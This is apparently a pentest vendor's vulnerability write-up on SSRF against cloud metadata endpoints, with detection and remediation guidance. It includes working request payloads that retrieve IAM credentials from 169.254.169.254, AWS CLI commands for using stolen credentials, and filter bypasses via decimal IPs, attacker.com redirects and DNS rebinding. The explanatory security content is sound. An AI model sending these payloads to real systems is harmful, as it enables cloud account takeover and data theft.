SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalInjection

SSRF Targeting Cloud Metadata Services

Server-side request forgery directed at cloud metadata endpoints retrieves IAM credentials, allowing full cloud account takeover from a single web application vulnerability.

CVSS 9.1CWE CWE-918OWASP A10:2021 — Server-Side Request Forgery

Description

Server-Side Request Forgery (SSRF) targeting cloud metadata services is the highest-impact variant of SSRF. When a web application running on a cloud instance can be induced to make HTTP requests to the cloud provider's internal metadata service (typically at 169.254.169.254 on AWS and GCP, or 169.254.169.254/fd00:ec2::254 on Azure), the attacker can retrieve the IAM role credentials assigned to the instance — credentials that may grant extensive permissions across the entire cloud account.

CWE-918 — Server-Side Request Forgery covers this class. OWASP elevated SSRF to its own category in A10:2021 specifically because of the severity of cloud metadata exploitation — a single SSRF vulnerability in a web application can directly translate to full cloud account compromise, including access to all S3 buckets, RDS databases, Lambda functions, and other cloud resources, regardless of how well those resources are otherwise protected.

The impact is amplified by IMDSv1 (Instance Metadata Service version 1), which is unauthenticated and accessible from any process on the instance. AWS began defaulting new instances to IMDSv2 in 2022, but many existing instances and third-party AMIs still use IMDSv1.

How It Works

The metadata service on AWS is accessible at http://169.254.169.254/latest/meta-data/. A URL-fetching feature, PDF generator, webhook, or image import function that makes server-side HTTP requests can be exploited:

# SSRF via image URL parameter
POST /api/import-image
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# Response body
HTTP/1.1 200 OK
{"result": "WebServerRole"}

The attacker now knows the IAM role name. A second request retrieves the credentials:

POST /api/import-image
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole"}

# Response
{
  "Code": "Success",
  "AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
  "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token": "IQoJb3JpZ2luX2VjEA...",
  "Expiration": "2026-08-09T22:14:00Z"
}

These credentials are valid AWS credentials with the permissions of the WebServerRole IAM role. The attacker configures the AWS CLI with these credentials:

aws configure set aws_access_key_id ASIAXXX
aws configure set aws_secret_access_key xxxxx
aws configure set aws_session_token IQoJb3...

# Enumerate accessible resources
aws s3 ls
aws iam get-role --role-name WebServerRole
aws secretsmanager list-secrets

Bypass techniques for basic SSRF filters:

# Decimal IP representation
http://2130706433/  (127.0.0.1)
http://2852039166/  (169.254.169.254)

# URL redirection — application fetches redirector URL, which redirects to metadata
http://attacker.com/redirect → 302 → http://169.254.169.254/...

# DNS rebinding — domain resolves to external IP during allowlist check, rebinds to 169.254.169.254 during fetch
http://rebind.attacker.com/  

# IPv6 representation
http://[fd00:ec2::254]/latest/meta-data/  (AWS IPv6 metadata endpoint)

Impact

  • IAM credential theft — credentials with AdministratorAccess or broad permissions allow complete cloud account takeover.
  • Data exfiltration at scale — with S3 read permissions, the attacker can download all objects in all accessible buckets, including database backups, application secrets, and user data.
  • Persistent access via IAM user creation — with iam:CreateUser and iam:CreateAccessKey, the attacker creates a permanent backdoor that survives instance replacement.
  • Secrets Manager access — many applications store database passwords and API keys in Secrets Manager; retrieved IAM credentials can fetch all stored secrets.
  • Lateral movement across accounts — role assumption chains allow pivoting from the initially accessed account to other AWS accounts in an organisation.
  • Crypto-mining and ransomware deployment — compromised credentials are frequently used to launch EC2 instances for crypto-mining at the victim's expense.

Detection

  1. Identify all server-side URL-fetching functions — enumerate webhooks, URL import features, PDF generators (wkhtmltopdf, Puppeteer), image proxy services, and fetch/urllib calls in code.
  2. Test with 169.254.169.254 directly — submit the metadata IP as a URL parameter to all identified functions. Check whether the response contains AWS metadata patterns.
  3. Use Burp Collaborator for blind SSRF — if the application does not return fetch results, use an OAST payload (http://xxxxxx.burpcollab.net) and check for DNS lookups confirming server-side request execution.
  4. Test filter bypass techniques — if direct IP access is blocked, test decimal IP, IPv6, DNS rebinding, and open redirect chaining.
  5. Check for GCP and Azure metadata endpoints — test http://metadata.google.internal/computeMetadata/v1/ (GCP, requires Metadata-Flavor: Google header) and http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Azure).

Remediation

Enforce IMDSv2 on all EC2 instances. Disable IMDSv1 by setting HttpTokens=required for the instance metadata service. This requires a PUT request with a TTL header to obtain a session token — a step most SSRF vulnerabilities cannot perform:

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

Implement allowlist-based URL validation. Validate all user-supplied URLs against a strict allowlist of permitted destinations. Reject any URL that resolves to RFC-1918 addresses, link-local addresses (169.254.0.0/16), or loopback addresses.

Apply least-privilege IAM roles. The IAM role attached to EC2 instances and ECS tasks should have only the minimum permissions needed. Even if metadata credentials are stolen, a minimal role limits the blast radius.

Use a dedicated outbound proxy. Route all application-initiated outbound HTTP requests through a proxy that enforces an allowlist. Block requests to metadata IP ranges at the network level.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping